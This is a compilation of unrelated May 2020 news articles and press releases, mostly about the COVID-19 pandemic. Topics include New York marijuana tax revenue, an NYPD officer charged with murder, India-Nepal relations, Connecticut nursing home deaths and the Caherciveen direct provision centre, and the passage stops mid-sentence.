States with a recreational pot market have reported spikesin salesof the drug during the pandemic, a rare example of a retail industry that is weathering the crisis fairly well, presumably thanks to the drugs well-documented anti-anxiety properties. The continued appetite for marijuana bolsters the argument for setting up the industry in New York, because it could help stimulate the economy amid a recession, raise tax revenue and provide a safe, legal means of access for people who are unable to obtain pot while socially distancing.

But New York does not already have an active legal market like in Colorado or Michigan. It could take at least a year to set up the regulatory structure for recreational marijuana and another year or more for businesses to get up and running.

So the industry would be a long-term revenue stream rather than an immediate salve. Although marijuana is conservatively estimated to bring in $300 million a year when the industry is in full swing, Cuomo only included $20 million in taxes this fiscal year in his original budget proposal, with the sum increasing to just $63 million next year. Those estimates were before the pandemic hit, decimating the states economy and businesses around the state. If the businesses themselves face roadblocks to opening because of coronavirus social distancing rules such as restrictions on construction, all the demand in the world wouldnt lead to significant revenue gains.

The bill in the state Legislature also is fairly restrictive in how tax dollars can be spent. The money would not go into the states general fund, which could then be dispersed where the state is experiencing the worst shortfalls. Much of the revenue would be set aside in a community grants reinvestment fund for areas impacted by marijuana enforcement, as well as education and drug treatment programs. Less than 25% of revenue would go towards the state Department of Education. While new revenue is new revenue, the structure of the bill right now doesnt lend itself to filling the states massive budgetary shortfall.
(CNN) - The United States is calling on the World Health Organization (WHO) to immediately begin work on an investigation into the source of the coronavirus outbreak and subsequent timeline of events.

In a letter to the WHOs executive board meeting in Geneva on Friday, US Assistant Secretary for Health Brett P. Giroir wrote: As President Trump just made clear in his May 18 letter to Director-General Tedros, there is no time to waste to begin on the reforms needed to ensure such a pandemic never happens again.

We applaud the call for an impartial, independent, and comprehensive review, to be undertaken in consultation with member states, and urge that work begin now," Giroir wrote.

He said that such a review will ensure there is a thorough understanding of the source, timeline of events, and decision-making process for the WHOs response to the COVID-19 pandemic."

This story was first published on CNN.com, "US instructs WHO to immediately begin work on coronavirus inquiry: "There is no time to waste""
Jefferies announced today that it will hold a Global Coronavirus Relief Charity Day on May 27, 2020. The firm and its staff will contribute to global charities and relief efforts to assist those suffering from the devastation caused by the Coronavirus global pandemic and will offer investors around the world the opportunity to join these efforts by trading with Jefferies. Jefferies will dedicate this entire effort to their late CFO Peg Broadbent, who was a victim of this terrible disease.

Specifically, Jefferies will donate net trading commissions globally on Wednesday, May 27 for all trading in equities, fixed income and foreign exchange by the firms clients. In addition, Jefferies as a firm will donate $1 million directly, and all 3,822 employees worldwide will be given the opportunity to donate to these efforts. These contributions will be allocated to a series of charities on the front lines in fighting this ongoing global pandemic and providing urgently needed relief for those affected.

Rich Handler, CEO, and Brian Friedman, President, of Jefferies commented: "All of us at Jefferies have been personally and deeply saddened by the loss of our friend and long-time colleague, Peg Broadbent, to the Coronavirus and we are very concerned about the terrible loss of life and global impact of this pandemic. We dedicate this Global Charity Day in honor of Peg and encourage Jefferies global employees and clients to join our efforts to help those in need.

Jefferies Group LLC is the largest independent, global, full-service investment banking firm headquartered in the U.S. Focused on serving clients for nearly 60 years, Jefferies is a leader in providing insight, expertise and execution to investors, companies and governments. Our firm provides a full range of investment banking, advisory, sales and trading, research and wealth management services across all products in the Americas, Europe and Asia. Jefferies Group LLC is a wholly owned subsidiary of Jefferies Financial Group Inc. (NYSE: JEF), a diversified financial services company.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005081/en/
Good news for Longford families - The United Nations has announced dates that members of the Irish Defence Forces serving with UNIFIL in Lebanon will return home.

The confirmed rotation of the 115th Irish Battalion home from Lebanon is now planned for 21st and 29th June 2020.

However the troops will have to spend two weeks in isolation on their return to Ireland - because of coronavirus.

In early April the UN Secretary General Antonio Guterres said peace keepers would not return until the end of June. They were originally due home in May.

In a statement the Defence Forces said: "We acknowledge that this delay to the original rotation dates is disappointing to our personnel and their families who have been separated from their loved ones for over six months. Their sacrifice and resilience during this time of national crisis has been very commendable.

"Confirmation of the rotation follows extensive engagement by the General Staff to secure an exemption from the UN, and for our troops to rotate home as close to the original dates as possible.

"Upon their arrival, personnel will be required to spend 14 days in self-isolation in accordance with HSE guidelines on COVID19.



"The 116th Battalion will deploy to UNIFIL to take over control of the Irish Area of Responsibility. Before departure, they will have to complete a 14 day quarantine period in Coolmoney Camp and Gormanston Camp. This is in compliance with the UN Secretary General's Directive, issued on 04th April 2020"
An NYPD officer was pictured for the first time in handcuffs on Thursday after being arrested for the murder of his best friend.

Errick Allen, 27, was seen being led by police officers on Long Island following his arrest in connection to the May 12 shooting death of 25-year-old Christopher Curro in Farmingdale.

Video recorded by News 12 Long Island showed Allen wearing a white face mask, a T-shirt and bluejeans, with his hands restrained in front of his body, being escorted by three uniformed police officers.

Scroll down for video

NYPD officer Errick Allen, 27, is seen being led in handcuffs after his arrest on a charge of second-degree murder on Thursday

During his arraignment, Allen pleaded not guilty and was ordered held without bail

During his arraignment on Thursday, which was conducted via videoconference because of the coronavirus outbreak, Allen pleaded not guilty to a count of second-degree murder.

A prosecutor told the court Allen shot Curro five times, including once 'at an exceptionally close range,' and fled the scene without calling 911, as Newsday first reported.

Assistant Attorney General Josh Gradinger revealed that when Allen returned to the scene of the shooting 30 minutes later, he made a confession to responding police officers, telling them: 'I know him. He is my friend Chris Curro. ...I shot him once in the head.'

Gradinger told the presiding judge that Curro was 'completely unarmed' during his confrontation with Allen, and argued that the off-duty cop shot his childhood friend with 'no legal justification.'

Allen's defense attorney Anthony LaPinta forcefully pushed back against the prosecutor's assertion that the shooting was unjustified, but he did not go into detail,

Allen, 27 (left), on Thursday was charged with murder in the shooting death of his best friend, Christopher Curro, 25 (right), during a heated argument on Long Island

'What happened in that incident was a tragedy between friends who grew up together in the Farmingdale area,' he said.

In asking for a bond for his client, LaPinta said Allen is the grandson of a retired NYPD officer, that he has no prior criminal record and that he has the full support of his family, who have expressed their readiness to use 'every single penny of their assets' to bail him out.

Nassau District Court Judge Anthony Paradiso ordered Allen held without bond.

If convicted as charged, the 27-year-old could face up to a life in prison.

The state attorney generals office brought the criminal charge against Allen after investigating the May 12 shooting under its authority to review killings of unarmed civilians by law enforcement officers.

Authorities say Allen, a first-year officer, shot Curro in front of a house in Farmingdale. The police department suspended him for 30 days without pay after the shooting.

Nassau Police Commissioner Patrick Ryder said Allen pulled out a gun and shot Curro, a friend since childhood, twice in the head and twice in the neck as they engaged in a struggle.

Attorney General Letitia James said in a statement: 'We trust our police officers to protect the safety of New Yorkers, but instead, this individual allegedly betrayed that duty to end another mans life.'

Curro's stepmother, Ellen, told local news outlets that the 25-year-old grew up and was best friends with Allen, who was assigned to a 109th Precinct in Queens.

According to the victim's stepmother, Curro was shot five times, including twice in the head, twice in the neck and once in the shoulder, after he and Allen got into a heated argument outside a home off Langdon Road in Farmingdale shortly after 8pm on Tuesday.

There are still lingering questions about the subject of the men's dispute, with police sources claiming that Allen allegedly opened fire on Curro to prevent him from hurting someone.

A neighbor who lives near the crime scene told the New York Daily News she heard from Curro's stepmother that the argument between her son and Allen was over a woman, but Ellen has denied saying that.

The stepmother called Curro's killing an 'execution,' adding that after firing the fatal shots, Allen took off from the scene to go to his father's house, leaving his friend's bullet-riddled body sprawled out in the street.

'For a cop to do that and leave your best friend for dead ... thats atrocious,' Ellen said. 'Its unconscionable. Errick was his best friend. He grew up with Chris. These are not two strangers. They grew up with sleepovers in each others houses.'

The stepmother added that her husband - Curro's father - had just lost his mother to the coronavirus.

Curro worked as a deliveryman for Crostini N Broadway, a pizza shop located in Massapequa.

'We are deeply saddened by the loss of our friend,' his employer stated in a Facebook post on Thursday. 'He was quiet, kind, hard working, funny, and an all around good person. We all miss you immensely and youll never be forgotten. RIP our dear friend Chris.'

Speaking at an unrelated event in Oceanside on Wednesday, Nassau County Police Commissioner Patrick Ryder said that the altercation escalated from a verbal disagreement to a physical altercation.

Curro worked as a deliveryman for a Massapequa, New York, pizzeria. He had just lost his paternal grandmother to COVID-19

'There was an altercation between two gentlemen; it started over a conversation they were having,' Ryder said, according to Newsday. 'They met up. A struggle ensued. During that struggle, a weapon was produced and the victim was shot and killed. The person that was involved in that struggle, fighting also with that other individual, was a New York City police officer.'

'It's just an altercation between two individuals and the gun was produced and the individual who was shot was shot in the head and he died last night and the other individual is being discussed with homicide,' said Ryder.

During Mayor de Blasio's coronavirus press briefing last week, NYPD Commissioner Dermot Shea said that the department was informed of the shooting almost immediately.

'An NYPD officer discharged a firearm,' Shea said during the press conference. 'That case is being investigated by the Nassau County District Attorney's office and the Nassau County Police.

He is an NYPD officer that discharged his firearm, ' Shea continued. 'As a result of that discharged, the individual was struck in the head and killed and it is an ongoing and very early part of that investigation.

'We were conferred with almost immediately last night and that is an active investigation.'

Allen graduated from the academy a few months ago and was assigned to the 109th Precinct in Flushing, Queens, sources told the New York Daily News.

Spoke to the stepmom of the #LongIsland man who was shot dead by NYPD Officer Errick Allen  his best friend  on Tuesday night. She says her stepson was shot five times, but cant understand why.



This wasnt self defense. This was an execution.https://t.co/feBJnRGS4Q pic.twitter.com/vpiBf4emUh  Esha Ray (@ByEshaRay) May 13, 2020

The rookie cop left the scene and returned home, where he told his father what happened. The pair returned to the scene, soon after.

But by then, cops had been called by a passing motorist who saw the victim's body in the street.

'Somebody was driving by and saw the dead body in the street and got out because he thought it was a joke,' neighbor Mary Fanelli, said. 'But then he realized what it was and called 911. Apparently the guy that shot him left the scene and came back.'

The 62-year-old said that Allen was grilled by police once he returned to the scene.

'He was sitting on the curb and they were all around him,' she recalled. 'Apparently it was his gun. The other guy was not armed.'

Fanelli said that the two were 'best friends' who graduated from Farmingdale High School.
MCLEAN, Va., May 22, 2020 /PRNewswire/ -- OBXtek Inc. has been awarded the OASIS Unrestricted Pool 1 contract by the General Services Administration (GSA). One Acquisition Solution for Integrated Services (OASIS) is a family of multiple award, indefinite delivery indefinite quantity (MA-IDIQ) task order contracts for government-wide professional services, which is available for use by all federal agencies. The performance period ends on September 2, 2024, with an additional 5-year execution period for task orders. The OASIS vehicle offers the government a Tiered Access fee structure, ranging from .1% to .75% based on spend commitment. It accommodates all contract types as well as CONUS and OCONUS work.

"We're proud to be one of the few companies awarded a position on the GSA OASIS Unrestricted contract," said Dale Spencer, OBXtek president and chief operating officer. "This new award highlights the confidence our customers have in our service offerings and capabilities. It's a great opportunity for OBXtek to provide our portfolio of professional services and develop innovative solutions in support of all federal agencies."

Under OASIS, OBXtek will compete to deliver professional services within the core disciplines of program management, management consulting, logistics, engineering, scientific, and financial.

About OBXtek

OBXtek is a relationship-driven cybersecurity, logistics, intelligence and information technology company committed to excellence. OBXtek's accomplished teams have an established reputation for consistently and efficiently achieving goals for our portfolio of federal government customers. For more information, visit https://www.obxtek.com. Follow OBXtek on Twitter, Facebook, and LinkedIn.

SOURCE OBXtek Inc.

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Prime Minister Narendra Modi (Right) with Nepalese Prime Minister KP Sharma Oli

Jhinuk Chowdhury

In 2014, when Prime Minister Narendra Modi visited Nepal, many South Asia watchers anticipated rekindling of a lacklustre bilateral relationship that did not seem to have found its rightful place in New Delhi's strategic priorities. Modi's visit, then for the first time in 17 years by an Indian PM, concluded on an upbeat note with promises of H-I-T  highways, infoways and transways as the primary areas of cooperation with the Himalayan nation.

Unfortunately, within a year the ties between the two neighbours was hit by a slew of setbacks, with the economic blockade of 2015 being the biggest blow.

To keep the outreach alive, Modi followed his first visit with two more in the course of which he laid the foundation stone for the 900 MW Arun III project in Sankhuwasabha district of eastern Nepal, and the Raxaul (Bihar)-Kathmandu rail link.

This bonhomie too was short-lived when after the demarcation of the new union territories of Jammu and Kashmir and Ladakh in November, India published a restructured map that represented Kalapani as part of Uttarakhand. This sparked protests from Nepal which claims Kalapani  sitting at the tri-junction between Indian, Nepalese and Chinese borders  its own.

The recent unveiling of the 75-km long Kailash Mansarovar road link that passes through Lipulekh, near Kalapani, further added to the disquiet.

This constant effort towards thawing a cold relationship only to be foiled by more differences indicate how India's Nepal policy has been led by surprises. The bilateral ties seem to lack an intentional deliberation for specific outcomes. This also is a fissure that China has been using to its advantage.

During the 17-year lull between India and Nepal, Beijing stepped up its engagement with Kathmandu through massive investments. After the 2015 India-Nepal rift, China amplified its political and economic investments in Nepal.

In October, Chinese President Xi Jinping made a two-day visit to Nepal, becoming the first Chinese President in more than two decades to visit Nepal. The bilateral meetings led to the inking of significant deals including a rail link connecting Tibet with Kathmandu. A road tunnel, which would bring Kathmandu and the Chinese border closer, was also proposed. The Nepal-China Transit protocol signed last year counters the India-Nepal international trade interest.

At the backdrop of Beijing's current diplomatic setback at the global fora, China will intensify its offensive in both the Pacific and Indian Ocean to project its power. There have been reports of Beijing augmenting its manoeuvres in the South China Sea where a Chinese government research ship is said to have conducted a survey near Malaysia's Petronas-operated West Capella. This has sparked concern among the neighbouring Southeast Asian countries.

In the Indian Ocean, the spot for China's power projection will be South Asia, especially in Nepal, which is still within the influence of India. India's recent decisions around Article 370, steps to increase border security, a bigger defense budget, and a growing influence in Northeast India, has earned New Delhi an image of assertiveness among its South Asian neighbours. This has Beijing taking notice as any gain in India's image will be counterproductive to furthering its own influence in South Asia.

The current row over the Kalapani border dispute is only incidental in a greater design to destabilise New Delhi's ties with its neighbours.

While India should be wary of the security implications of these designs, it should also remain focused on intensifying its neighbourhood first policy. One of the weaknesses of this policy is the deficit between promise and outcome. A concerted grievance that Kathmandu has had about India-led projects is its delayed delivery  a gap that created the current space for Beijing. India needs to expedite its project completion time. A good starting point would be keeping up to the 2021 deadline of the Patna-Kathmandu rail link.

A second lever that India should not allow to slip through the crack is public opinion of the people of Nepal. We remain connected culturally  a void that China or any nation outside the region will take a long time to fill. We should intensify people-to-people exchanges especially among the younger citizens. India should stay committed to its support for inclusion of the Madhesis in Nepal's political framework, which is a just and fair demand affirming India's commitment towards creating a more inclusive world.
The General Assembly placed the graduated tax referendum question on the ballot a year ago  in May 2019  when economic conditions were considerably rosier than they are now in the midst of an international pandemic. This has prompted opponents of the idea not only to argue that now is not the time to impose higher taxes on those who earn higher incomes, but also to argue that now is not the time even to allow citizens to vote on the proposal.
Source: Xinhua| 2020-05-22 05:52:58|Editor: huaxia

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WASHINGTON, May 21 (Xinhua) -- China was the first to take very strong actions and is the first to be exiting the COVID-19 crisis, so there are a lot of valuable lessons to be learned from China's experience, the International Monetary Fund (IMF) said Thursday.

"China, clearly, has been taking very strong actions to combat the pandemic," IMF spokesperson Gerry Rice said at a virtual press briefing.

"What they've done broadly on the monetary and the fiscal front, of course, which many other countries have taken strong measures in those areas, the way that China is letting the economy adjust to these new and difficult circumstances, which, again, is something all countries need to do," Rice said.

The IMF spokesperson said that China is moving ahead in some areas, which can carry lessons for others. "For example, in electronic payment systems, e-commerce, linking very small firms to markets and consumers," he said.

"I think China's experience is very important to look at, as this global crisis evolves," Rice said.

He also said that China has an important role to play in helping the world and the poorer countries, in particular, noting that China has pledged to support the Group of Twenty Debt Relief Initiative for low-income countries.

The IMF spokesperson welcomed China and a number of other countries' "very generous contribution" to the Catastrophe Containment and Relief Trust (CCRT), which can provide some debt relief to the IMF's poorest member countries.

Rice said under the revamped CCRT, 27 countries have so far received immediate relief on their payment obligations to the multilateral lender. "We're looking to triple that debt relief from the IMF," he said.

At the press briefing, the spokesperson also noted that the IMF has received emergency financing requests from 102 countries, of which 59 had been approved as of Wednesday. Enditem
In an interview with The Washington Post on Friday afternoon, Charlamagne said Biden needs to work to win over black voters. The older black voters know the Joe in the Senate that has assisted black people and has been there for black people, he said. But we know 94 crime bill Joe. We know 86 crack laws Joe. We know 84 mandatory-minimum sentences Joe. Thats what Ive come to learn. So he has to win us over.
Edward Grimes of Jedward, actress Tara Reid and John Grimes of Jedward arrive at the Los Angeles Premiere "American Reunion" in 2012 (Barry King/FilmMagic)

Tara Reid has revealed she is in lockdown with Irish twins Jedward.

The American Pie actress and X Factor twins John and Edward Grimes are all holed up together in Reids Los Angeles apartment  along with her boyfriend.

While it may seem like rather an odd group, Reid and the twins have been besties since they became close on Celebrity Big Brother back in 2011.

Read more: Tara Reid in talks to play Carole Baskin in Tiger King spin-off

Speaking on Page Six podcast We Hear, the group revealed they had decided to isolate together for what one of the twins joked was Big Brother coronavirus.

Asked how she was coping with lockdown with her boyfriend Nathan, Reid told the hosts it wasnt always easy as the pair are both working.

"There's not been enough room for the both of us so its been difficult, we're trying to make the best of it, she said. We're doing the best we can."

Tara Reid and Jedward seen at Open Road Films Los Angeles Premiere of "Little Boy" at Regal Cinemas LA Live Stadium 14 in 2015 (Dan Steinberg/Invision for Open Road Films/AP Images)

The star, 44, then added that the pair werent alone.

"Now the other guys I have been in quarantine with are my two best friends that I have grown up with  Jedward, she said, before one of the brothers chimed in to say they had been busy cleaning Reids windows for her.

The actress said the high-spirited twins have been keeping them all entertained with their music.

John and Edward did a concert on the balcony, she said. We live in a high-rise.

People were laughing, screaming, crying.

Read more: American Pie at 20: Where are the cast now?

Reid and Jedward have been joined at the hip since their days in the Big Brother house, jetting off on holidays and popping up on red carpets together.

The 28-year-old twins even made a brief appearance in the third of Reids Sharknado films.

The actress has previously said she sees the boys as little brothers.
DETROIT -- The annual fireworks show over the Detroit River will take place this year, but at a different time and in a different fashion than usual. Roughly a month after Mayor Mike Duggan said there was no way the show would happen as scheduled, he and officials with The Parade Company announced Tuesday that a show will take place on Monday, Aug. 31.

However, the catch is that the show will only be broadcast on TV, and large crowds will not be permitted to gather to view the show, officials said.

Regardless of the change, Duggan was excited to announce a version of the show will take place despite the COVID-19 pandemic.

The 4th of July fireworks have been a tradition in the city, certainly my whole life, and mean a lot to a lot of families in the city," Duggan said.

Tony Michaels, president and CEO of The Parade Company, said the idea to move the show and limit the gathering came as officials discussed what it would take to put on some version of the show.

It doesnt take a massive setup like some of our great friends and their events that had to be canceled for obvious reasons. We get the show ready, we get it on the barges and we bring it out. So we had a thought: we cant bring people together, but we can bring hearts together," Michaels said.

The theme of the show will be We are one together, and will feature a show that Michaels said will be unlike anything the city has seen before.

It will be one of the most special moments that Detroit has ever seen. Because what we are going to do is to feature the great stories of people of the great City of Detroit, what they did, how they did it and also remembering the amazing people that have passed away through this terrible virus," he said.

COVID-19 has killed nearly 1,300 Detroiters. More than 10,000 in the city have been sick with the disease. A large swath of the Detroit police department was at one point sidelined by the virus, including Chief James Craig. And a number of prominent Detroit community figures have died of the disease caused by the new coronavirus, including state Rep. Issac Robinson, former state Sen. Morris Hood III and community advocate Marlowe Stoudamire.

A plan for enforcing gathering restrictions during the fireworks show will be prepared by Duggan and Craig. Duggan said during a Tuesday press conference that Craig has indicated the plan will be ready in July.

And while there are limited details regarding what the three-hour show will include, Michaels expects it to be a memorable night.

Detroit will see a show that they have never seen before and I promise it will be the best fireworks show that this country has ever seen," Michaels said.

PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Read all of MLives coverage on the coronavirus at mlive.com/coronavirus.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

READ MORE

Complete coverage at mlive.com/coronavirus

Thursday, May 21: Latest developments on coronavirus in Michigan

Trump visits Michigan amid coronavirus pandemic, historic flooding and economic downturn

Gatherings of 10 or less, retail by appointment allowed under new Whitmer order
cveltri/iStockBy GENEVIEVE SHAW BROWN, ABC News

(ORLANDO, Fla.) -- Universal Orlando could open to the public in early June, according to ABC affiliate WFTV.



The Orange County Task Force has approved the park's plan to reopen to the public on June 5, the Orlando-based station said Thursday.



The phased reopening would start June 1 with employees reporting to test the park's adjustments due to coronavirus. In the next few days, select guests would be allowed in with the public opening on June 5.



Employees and guests will be required to wear masks, while more virtual lines and social distancing guidelines will start in the parking lot.



A letter from Universal Orlando CEO Thomas Williams to Orange County Mayor Jerry Demings, obtained by WFTV, reads in part, "We have created a new level of best practice for our already aggressive health, safety and hygiene procedures. We have followed CDC guidelines, the advice of health officials and recommendations from our own experts."



"As we move toward June 1, we will continue to monitor local conditions, work closely with health officials and be ready to act as-needed," the letter added.



The plan will now go to Demings, and if approved will be sent to Florida Gov. Ron DeSantis for the final OK. DeSantis has indicated he is willing to allow theme parks to reopen if they submit plans supported by local officials.



"When you open a theme park, it's not like you can flip a switch and three days later do it," he said at a press conference Monday. "I'm not saying this is going to happen tomorrow, but I think it's prudent to solicit these plans so we know the direction we're going."



Copyright  2020, ABC Audio. All rights reserved.
Some of the statewide senior living facilities hardest hit by Covid-19 saw slight or no increases in the number of deaths linked to the virus over the last week, data released Friday shows.

Nursing homes in Connecticut have reported 7,875 confirmed cases of the virus, representing about 20 percent of the states 39,017 cases as of Wednesday, according to data from the state. Confirmed cases of the virus at assisted living facilities account for about 2.5 percent of the statewide total with 973 infections.

Data provided May 14 had showed 6,947 confirmed cases of the virus in nursing homes and 872 in assisted living facilities. There were 1,927 deaths in nursing homes and 276 in assisted living facilities associated with the virus.

Confirmed and probable virus-linked deaths among nursing home residents reached 2,190 as of Wednesday, the data shows. There have been 306 virus-related deaths among assisted living facilities residents.

Together, the deaths represented roughly 70 percent of the 3,529 coronavirus-related fatalities reported statewide as of Wednesday. On Friday, the state said Covid-19 related deaths have reached 3,637.

Look, the nursing homes have been an incredible tragedy, theres no doubt about it  and thats across the country, Gov. Ned Lamont said Thursday when asked whether he felt hed done enough on the nursing homes during his daily briefing.

Among the nursing homes with the most confirmed and probable deaths was Danburys Saint John Paul II Center, which reported 34 as of Wednesday, up from 32 last week.

East Hartfords Riverside Health and Rehabilitation saw an additional three confirmed and probable deaths as of Wednesday, putting this weeks total at 57.

Litchfield Woods in Torrington reported 32 confirmed and probable virus-linked deaths, an increase of one since last weeks data was released.

In Waterbury, Abott Terrace Health Center in Waterbury saw an increase of two deaths since last week, putting the facilitys total at 43.

Some of the facilities which had the most reported virus-associated deaths over the weeks showed no increase in deaths since last week  including Sheltons Bishop-Wick Health and Rehabilitation, Stratfords Lord Chamberlain Nursing and Rehabilitation and Kimberly Hall North in Windsor. Those facilities remain at 31, 32 and 43 deaths, respectively.

We were one of very the first to go out and test everybody, which were doing right now. My biggest regret is when we started doing that early testing, as youve heard me say it took us four or five days to get the results back, and by then it was too late, Lamont said Thursday.

The new deaths and infections come as state officials allowed some businesses to reopen on Wednesday, with restrictions in place intended to prevent the disease from spreading. Restaurants were allowed to open up outdoor dining, and retailers were allowed to reopen so long as staff and patrons wore masks.

Statewide, Fridays numbers showed another 55 fatalities linked to the coronavirus pandemic for a total of 3,637.

There were 432 more state residents confirmed positive for the virus, for a total of 39,640.

But hospitalization continue to fall, down another 76 since Thursday, putting the total number of hospitalized coronavirus patients in the state at 740  the lowest since March 31.

The drop in hospitalizations has also meant four nursing facilities originally set up as recovery sites for patients recuperating from the disease have seen a lack of use. On Wednesday, after the parent company of the four recovery sites suggested one or two of them might close, the Department of Public Health released new guidelines allowing residents who test positive for the disease to be sent to one of the facilities.

Asked about the recovery centers Thursday, Lamont said he believed that was because theres enough quarantine space in some of those nursing homes.

Later that day, the agency released findings from 19 nursing home inspections spurred on by the pandemic. The inspections cited four facilities for how they separated sick and healthy residents, according to a press release from the governors office.

At one home, The Suffield House in Suffield, a staff member continued to come to work despite testing positive for COVID-19, the inspection reports show.

Other inspections released last week included instances where staff failed to change gloves when moving from an area reserved for COVID-19 patients to helping healthy residents.

The findings were released as staff from the Department of Public Health and National Guard are working to test the residents of all 215 nursing homes in the state, an undertaking state officials have said they want to finish by the beginning of June.

Ideally wed also be testing our nursing home staff, Josh Geballe, Lamonts chief operating officer, said Monday during the governors daily briefing. He said efforts to test nursing home staff were being delayed by union-related concerns, including questions about where the testing would take place and whether workers would be compensated for the time it takes to be tested.

That plan is in line with new guidelines put out by the federal Centers for Medicare and Medicaid Services on Monday, which recommend states hold off on allowing families to visit nursing home residents until they have the capacity to test both residents and staff on a weekly basis.

On Wednesday, the American Health Care Association and National Center for Assisted living published an estimate that showed testing every nursing home resident and staff member in the U.S. once would involve nearly 3 million tests and cost $440 million. In Connecticut, 54,706 tests would be needed at a cost of about $8.2 million, the estimate shows.
The Jammu and Kashmir administration has brought back over 85,000 stranded residents, including students, from various states and union territories on trains, flights and buses, an official spokesperson said on Friday.

People across the country have been stranded away from their homes due to the coronavirus-induced lockdown which began on March 25.

As many as 85,521 residents have been brought back by the Jammu and Kashmir administration on 24 special trains, three flights and scores of buses. All necessary preventive measures against coronavirus were taken while bringing back the residents, the spokesperson said.

A total of 64,499 residents were brought back through the Lakhanpur border with Punjab and 20,521 arrived on special trains at Jammu and Udhampur railway stations, he said.

Besides, 501 people, including students, have been brought back on special flights, he added.

Nearly 1,390 residents came back through Lakhanpur from May 21 to May 22. As many as 797 residents arrived on a special train at Jammu railway station on Friday.

Those who returned through the Lakhanpur border were brought back from Punjab, Himachal Pradesh, Andhra Pradesh, Delhi, Gujarat, Rajasthan, Haryana, Chattisgarh, Uttarakhand, Maharashtra and Uttar Pradesh, among other states and union territories.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Malaysian Prime Minister Muhyiddin Yassin will be home quarantined for 14 days after an officer who attended a meeting with him this week tested positive for the new coronavirus, the prime minister's office said in a statement on Friday.

Muhyiddin has tested negative but "all members of the meeting have been instructed to undergo screening and 14 days' home quarantine", the statement added.
More than half of the staff at the controversial direct provision centre in Caherciveen, Co Kerry, had not been Garda vetted by May 7, almost two months after the residents moved in, the Irish Examiner has learned.

It has also emerged that most, if not all, of the staff had not completed a mandatory Tusla course required of anybody working in a centre with children by that date.

It is not clear if all the staff have now been Garda vetted and have completed the Tusla course at this stage, with a number of questions to the Department of Justice going unanswered by the time of going to press.

Local residents have claimed those working at the centre were hotel staff and wholly unprepared to deal with the risks and had no medical expertise in controlling the spread of Covid-19.

Charlie Flanagan, the justice minister, had an unprecedented open letter of apology to the people of Kerry and Caherciveen published in local newspapers in which he admitted mistakes in how he and his department handled the relocation of the 100 asylum seekers from Dublin to Caherciveen on March 18. More than 25 people, including three staff, have tested positive for Covid-19 to date.

He also took to the airwaves yesterday when he extended that apology to include the residents. But he stood over the decision to relocate the residents, and rejected calls to close the centre at the Skellig Star Hotel in the town.

However, the apology appears to have backfired, with locals and opposition parties saying it does not go far enough and reiterating calls for the centre to be closed.

Residents in Caherciveen went as far as taking out a full-page advertisement in todays Kerrys Eye newspaper rejecting the apology.

The 1,000-word response from the Caherciveen Community and Business Alliance says the minister did not address the real issue.

Residents of the Skellig Star DP Centre in Caherciveen emerge from the Centre on Wednesday after a four week lockdown. Picture Alan Landers.

The crux of the issue for us, minister, is that there has been concealment of the risk to the residents of the hotel, to the staff and to the people of Caherciveen and Kerry since March ... there was a clear conflict of interest here Profits v Management of Public Health Risk.

The response says staff were hotel staff and wholly unprepared to deal with the risks and had no medical expertise in controlling the spread of Covid-19.

A major issue, according to the letter, was the failure to inform people that some residents displayed symptoms soon after arriving at the centre, and local people were not informed about the dangers for three weeks.

That was 3 full weeks that the residents didnt know there was an immediate risk in this over crowded hotel where strangers were sharing rooms, 3 full weeks that the local staff were going home to their families and other villages in S Kerry, 3 full weeks that Cahersiveen or Kerry didnt know of the real risk of the presence of Covid19 in the hotel. And 4 weeks before the HSE got involved on the ground. Neither HSE nor HIQA have any remit over a DPC run by a For Profit company.

A statement from asylum seekers at the centre, provided to Radio Kerry, thanked the minister for accepting the move to the hotel was wrong, but they said the decision to move people on March 18 still needed to be addressed. The residents, who had been in lockdown for the past three weeks, were allowed out for the first time yesterday. A protest is being held at the hotel today.

Flanagan's statements - fact or fiction?

Justice Minister Charlie Flanagan made a number of statements yesterday about the direct provision centre in Caherciveen, Co Kerry, which contradict the version of events confirmed by the Irish Examiner through extensive documentation and interviews with parties intimately aware of the circumstances around the setting up and running of the centre in the Skellig Star hotel.

STATEMENT: There was a full assessment carried out as to the suitability or otherwise.  Charlie Flanagan on Kerry Today with Jerry OSullivan.

Absolutely, there was a full assessment (of the Skellig Star hotel).  Charlie Flanagan on Today with Sarah McInerney.

THE FACTS: An official from the department visited the hotel on September 18, 2019. There was no inspection of any element of the hotel. When queried by the Irish Examiner about an inspection, a statement from the department said that elements of the hotel were identified.

STATEMENT: We discussed it with the health authorities and the HSE (in relation to moving asylum seekers to Caherciveen).  Charlie Flanaganon Kerry Today with Jerry OSullivan.

THE FACTS: In a letter to councillor Michael Cahill, a HSE official wrote the following on the move to Caherciveen.

The decision to open a direct provision centre, the location of the centre, and the decision to transfer people into that centre at a time of a pandemic was entirely a decision of the Department of Justice.

The HSE received limited notice in regard to the opening of the centre and voiced its concern at the time in regard to the timing of the move and the access of the centres residents to health services at a time when all of our healthcare services are being stretched to their limit.

STATEMENT: Any single person who had a desire to have a room on their own have one we have accommodated people on that basis.  Charlie Flanagan on Today with Sarah McInerney.

THE FACTS: This was not done at the outset and for a number of weeks at least due to the numbers of residents. Some rooms have remained empty because residents dont want to stay in rooms from which infected people have departed. There has been no deep cleaning of the hotel despite reports.

STATEMENT: We made arrangements for people to self-isolate.  Charlie Flanagan on Today with Sarah McInerney.

THE FACTS: The department was informed by April 2 there was no more room for self- isolating due to the numbers obliged to do so by then.

STATEMENT: Social distancing measures were acted on pretty speedily.  Charlie Flanagan on Today with Sarah McInerney.

THE FACTS: For at least 10 days after arriving, residents ate in the communal dining area and queued up for their meals.

STATEMENT: The process about opening the centre began last September, is that right?  Sarah McInerney on Today with Sarah McInerney.

No, thats not right.  Mr Flanagan.

THE FACTS: That is right.

STATEMENT: In fact, and this I believe is a really crucial point, it was well over a fortnight [the incubation period] before any of our residents in Caherciveen began to show symptoms or were confirmed as positive for Covid-19.  Mr Flanagan in open letter to the people of

